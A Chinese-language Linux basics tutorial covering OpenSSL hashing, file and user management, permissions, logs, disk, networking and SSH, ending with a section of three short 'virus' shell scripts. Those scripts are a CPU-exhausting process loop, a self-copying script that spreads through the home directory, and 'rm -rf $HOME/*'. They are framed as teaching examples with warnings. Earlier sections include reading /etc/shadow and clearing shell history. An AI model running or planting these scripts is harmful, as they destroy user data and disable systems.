Linux 基础知识解析与应用目录
1. 什么是 OpenSSL?
🔒OpenSSL 是一个功能强大的开源工具包,主要用于安全通信中加密、解密和生成密钥。常用于 HTTPS、SSL/TLS 认证等场景。
示例解析:
生成 MD5 加密密码: 🔑
openssl passwd -1 123
解析:
-1
参数:表示使用 MD5 算法加密。123
是要加密的明文字符串。- 输出:生成的 MD5 哈希密码。
生成 SHA256 加密密码:🔐
openssl passwd -5 123
解析:
-5
参数:表示使用 SHA256 算法加密。- 输出:对应的 SHA256 哈希密码。
补充知识:
- 常用算法参数:
-6
:SHA512-apr1
:Apache MD5
- OpenSSL 是跨平台的工具,命令支持 Linux 和 Windows。
2. Linux 文件管理📂
创建空文件📝
touch newfile
解析:
touch
命令用于创建一个空文件,如果文件已存在,则更新其时间戳。newfile
是创建的文件名。
删除文件❌
rm newfile
解析:
rm
命令用于删除文件或目录。- 使用
rm -i
可在删除前提示确认。
新建目录📂
mkdir newdir
解析:
mkdir
命令用于创建目录。- 使用
mkdir -p a/b/c
可递归创建多级目录。
删除目录🗑️
rmdir dir
解析:
rmdir
命令用于删除空目录。- 非空目录需要使用
rm -r dir
。
重命名文件✏️
mv file.txt new.txt
解析:
mv
命令用于移动或重命名文件。file.txt
是原文件名,new.txt
是新名称。
移动文件📤
mv newfile newdir2
解析:
- 将
newfile
移动到newdir2
目录中。
拷贝文件📋
cp file.txt newdir.txt
解析:
cp
命令用于复制文件。- 如果要复制目录,需加
-r
选项:cp -r dir1 dir2
。
软硬链接的区别🔗
软链接
ln -s /usr/local/bin/pip /usr/bin/pip
解析:
-s
表示创建符号链接(软链接)。/usr/local/bin/pip
是目标文件。/usr/bin/pip
是链接文件。- 特点:链接路径指向目标文件,删除目标文件后链接失效。
硬链接
ln ~/offsec123.txt hardlink.txt
解析:
- 硬链接是指向相同数据块的另一名称,与目标文件共享相同 inode。
- 特点:目标文件删除后,硬链接仍可访问数据。
3. Linux 文件搜索🔍
which🛠️
作用:
which
用于查找命令的可执行文件路径。
实例
which ls
解析:
- 返回
ls
命令的绝对路径,例如/bin/ls
。
echo📢
查看 PATH 环境变量
echo $PATH
解析:
$PATH
环境变量存储系统中可执行文件的搜索路径。- 输出:多个路径,用冒号分隔,例如
/usr/bin:/bin:/usr/local/bin
。
locate📂
作用:
locate
基于 local.db
数据库快速查找文件。
实例
locate -i *.img
解析:
-i
:忽略大小写。*.img
:匹配所有以.img
结尾的文件。
补充知识:
- 数据库更新:使用
updatedb
手动更新local.db
。
find🔦
作用:
find
是强大的文件查找工具,支持实时搜索和复杂条件。
按修改时间查找
find . -type f -iname '*.txt' -mmin -30 -ls
解析:
.
:在当前目录及子目录中搜索。-type f
:查找文件。-iname '*.txt'
:忽略大小写匹配.txt
文件。-mmin -30
:查找 30 分钟内修改的文件。-ls
:列出详细信息。
删除文件
find -name '*.svn' -exec rm -rf {} \;
解析:
-exec
:对找到的文件执行命令。rm -rf {}
:删除找到的文件。
查找特定权限文件
find / -user root -type f -perm -o=w -name '*.sh' >/dev/null
解析:
-user root
:查找属主为root
的文件。-perm -o=w
:匹配其他用户可写权限。>/dev/null
:屏蔽输出。
4. 用户和账户数据👤
查看用户信息📜
/etc/passwd
cat /etc/passwd
解析:
- 显示系统所有用户的基本信息。
- 每行格式:
用户名:密码占位符:用户ID:组ID:描述:主目录:默认Shell
。
/etc/shadow
cat /etc/shadow
解析:
- 存储加密的用户密码。
- 每行格式:
用户名:加密密码:密码修改时间:密码失效时间:...
。
/etc/group
cat /etc/group
解析:
- 显示系统所有组信息。
- 每行格式:
组名:密码占位符:组ID:组内用户列表
。
账户管理命令🛠️
锁定账户🔒
sudo passwd -l username
解析:
-l
:锁定指定用户账户,禁用登录。
设置账户到期日期⏳
chage -E 1900-01-01 username
解析:
- 设置用户
username
的到期日期为 1900 年 1 月 1 日,之后无法登录。
查看账户状态📋
passwd -S username
解析:
- 显示用户账户状态(锁定、激活等)。
5. 文件系统权限🔧
Linux 系统中一切都是文件📜
查看权限👀
ls -la
解析:
ls -la
:列出当前目录下所有文件和目录(包括隐藏文件)的详细信息。- 输出包含权限信息,例如:
-rw-r--r--
。- 第一部分:文件类型(
-
表示文件,d
表示目录,l
表示软链接)。 - 后续部分:所有者、组和其他用户的权限。
- 第一部分:文件类型(
更改文件所有者👤
sudo chown tom dd.zip
解析:
chown
用于更改文件的所有者。tom
:新所有者。dd.zip
:目标文件。
补充知识:
- 改变所有者和组:
sudo chown tom:staff file.txt
。
修改文件权限✏️
实例 1📝
chmod u=rwx,g+rw,o-r anaconda-ks.cfg
解析:
- 修改文件
anaconda-ks.cfg
的权限:u=rwx
:赋予用户读、写、执行权限。g+rw
:给组添加读写权限。o-r
:移除其他用户的读权限。
实例 2🔢
chmod 400 anaconda-ks.cfg
解析:
- 使用八进制方式设置无权限:
4
:仅读权限。0
:无权限。
- 文件最终权限为
-r--------
。
6. 系统日志管理📜
查看日志文件 🗂️
ls -l /var/log
解析:
- 列出
/var/log
目录下的所有日志文件及其权限、大小、修改时间等信息。
认证日志🔑
sudo tail -3 /var/log/auth.log
解析:
auth.log
:记录用户登录认证信息。tail -3
:显示日志文件的最后 3 行。
查看二进制日志💾
who /var/log/wtmp | tail -5
解析:
wtmp
:记录登录、注销事件的二进制日志文件。who
:解读并显示登录记录。
系统日志🖥️
dmesg
解析:
- 显示系统内核日志,用于排查硬件和启动相关问题。
systemd 日志📋
journalctl -xe
解析:
- 查看
systemd
管理的系统日志,-xe
显示最新的详细日志。
7. 内存和磁盘管理💾
内存管理📊
free -m
解析:
- 显示系统内存使用情况:
-m
:以 MB 为单位。在这里插入图片描述
查看磁盘使用情况💽
df -hT
解析:
df
显示磁盘空间使用情况。-h
:人类可读格式(GB、MB)。-T
:显示文件系统类型。
查看文件或目录大小📦
du ./* -hsc
解析:
du
显示文件或目录占用的磁盘空间。-h
:以人类可读格式输出。-s
:汇总总大小。-c
:显示总计。
查看磁盘分区🧩
fdisk -l
解析:
- 列出系统中的所有磁盘分区。
挂载分区📂
mount /dev/sdb1 /mnt/usb
解析:
- 将分区
/dev/sdb1
挂载到目录/mnt/usb
下。
补充知识:
- 查看当前挂载状态:
mount
或cat /proc/mounts
。
8. 网络工具🌐
查看网络接口🔌
ifconfig
# 或
ip addr
解析:
ifconfig
:显示网络接口的 IP 地址、子网掩码等信息。ip addr
:现代替代命令,功能更强大。
启用/禁用网络接口🚦
ifdown ens33
sudo ifup ens33
解析:
ifdown
:禁用网络接口。ifup
:启用网络接口。ens33
:指定的网络接口名称。
查看网络配置⚙️
cat /etc/network/interfaces
解析:
- 显示网络接口的静态配置文件。
查看网络连接🔗
netstat -natup
# 或
ss -natup
解析:
-n
:显示数字地址和端口。-a
:显示所有连接。-t
:显示 TCP 连接。-u
:显示 UDP 连接。-p
:显示所属进程。
查看 ARP 表📡
arp -en
解析:
- 显示主机的 ARP 缓存表,列出已解析的 IP 和 MAC 地址。
添加静态路由🚚
ip route add 10.13.37.0/24 dev ens33
解析:
- 添加一个到子网
10.13.37.0/24
的路由,出接口为ens33
。
追踪路由🛣️
traceroute offensive-security.com
解析:
- 显示到目标主机的路由跳数和延迟。
9. SSH 服务🔒
启动服务🛠️
systemctl start ssh
解析:
- 启动 SSH 服务,使其能够接受远程连接。
连接 SSH🌐
ssh root@localhost
解析:
- 使用 SSH 登录本地主机。
root
是登录用户。
查看 SSH 配置文件📄
cat /etc/ssh/sshd_config
解析:
- 显示 SSH 服务端配置文件内容。
客户端配置🔧
hash knownHosts yes
解析:
- 配置客户端记住已连接的主机。
远程拷贝📤
从远程拷贝到本地🖥️
scp root@1.1.1.1:/root/apache.txt new.txt
解析:
- 从
1.1.1.1
远程主机的/root/apache.txt
文件复制到本地new.txt
文件。
从本地拷贝到远程🖥️
scp 0708.txt root@10.0.0.0:/root
解析:
- 将本地文件
0708.txt
拷贝到远程主机的/root
目录下。
查看历史命令🕒
history
解析:
- 列出所有执行过的命令历史。
- 查看带编号的最近 10 条记录:
history 10
。
补充知识:
- 清除历史:
history -c
。 - 删除特定记录:
history -d [编号]
。
10. Linux目录介绍
目录 | 描述 |
---|---|
/bin | 存放二进制可执行命令与常用工具。 |
/etc | 存储系统管理和配置文件。 |
/etc/rc.d | 放置启动配置文件与脚本。 |
/home | 用户主目录基点,各用户专属子目录在此。 |
/lib | 有标准程序设计动态链接共享库。 |
/sbin | 存系统管理员用的管理程序。 |
/tmp | 公共临时文件存放处。 |
/root | 系统管理员主目录。 |
/mnt | 用于临时挂载外部文件系统。 |
/lost+found | 收留非正常关机“无家可归”文件。 |
/proc | 系统内存映射的虚拟目录,助获系统信息。 |
/var | 容纳日志等大文件溢出内容。 |
/usr | 庞大,含多数应用程序与文件。 |
/usr/bin | 众多日常应用程序存放地。 |
/usr/sbin | 存放超级用户管理程序。 |
11. Linux常用命令介绍
命令 | 描述 |
---|---|
ls | 显示当前目录文件及信息。 |
clear | 清屏,清空终端显示内容。 |
cd | 切换当前工作目录。 |
pwd | 显示当前目录完整路径。 |
vim | 强大文本编辑器。 |
cat | 查看文件全部内容。 |
head | 查看文件前半部分内容。 |
tail | 查看文件后半部分内容。 |
more | 翻页查看文件内容。 |
ssh | 远程连接主机或服务器。 |
chmod 777 文件 | 赋文件最高权限。 |
chown | 变更文件所属用户与组。 |
adduser | 自动配目录等创建用户。 |
useradd | 依参数创用户,缺参有缺陷。 |
sudo | 以管理员权限运行命令。 |
12. Linux经典病毒
以下是三个常见的基于 Linux 的病毒代码示例,它们的目的是演示恶意行为的实现,但不鼓励任何滥用。此类代码仅供学习和安全研究参考,用于理解如何防护潜在威胁。
1. 资源耗尽病毒
通过无限循环占用系统资源。
#!/bin/bash
# 资源耗尽病毒:无限消耗CPU
while true
do
yes > /dev/null &
done
解释: yes
命令会不断输出数据,重定向到 /dev/null
防止输出占用硬盘,但生成的子进程会持续占用 CPU。
2. 文件扩散病毒
在用户的文件夹中复制自身文件。
#!/bin/bash
# 文件扩散病毒
for dir in $(find $HOME -type d 2>/dev/null); do
cp $0 "$dir/" 2>/dev/null
done
解释: 该脚本会遍历用户目录下的每一个文件夹,并将自身复制到这些文件夹中。
3. 文件破坏病毒
删除用户目录下的所有文件。
#!/bin/bash
# 文件破坏病毒:删除用户所有文件
rm -rf $HOME/*
解释: 使用 rm -rf
命令会强制删除用户主目录中的所有文件,导致数据丢失。
注意事项
- 危险性: 以上代码具有潜在危害性,禁止在实际生产或非隔离环境中运行。
- 防护措施:
- 避免在未知来源的脚本中使用
sudo
权限运行。 - 使用权限管理和防病毒软件检测恶意代码。
- 避免在未知来源的脚本中使用
- 实验环境: 若需验证代码行为,请在虚拟机或隔离的环境中操作。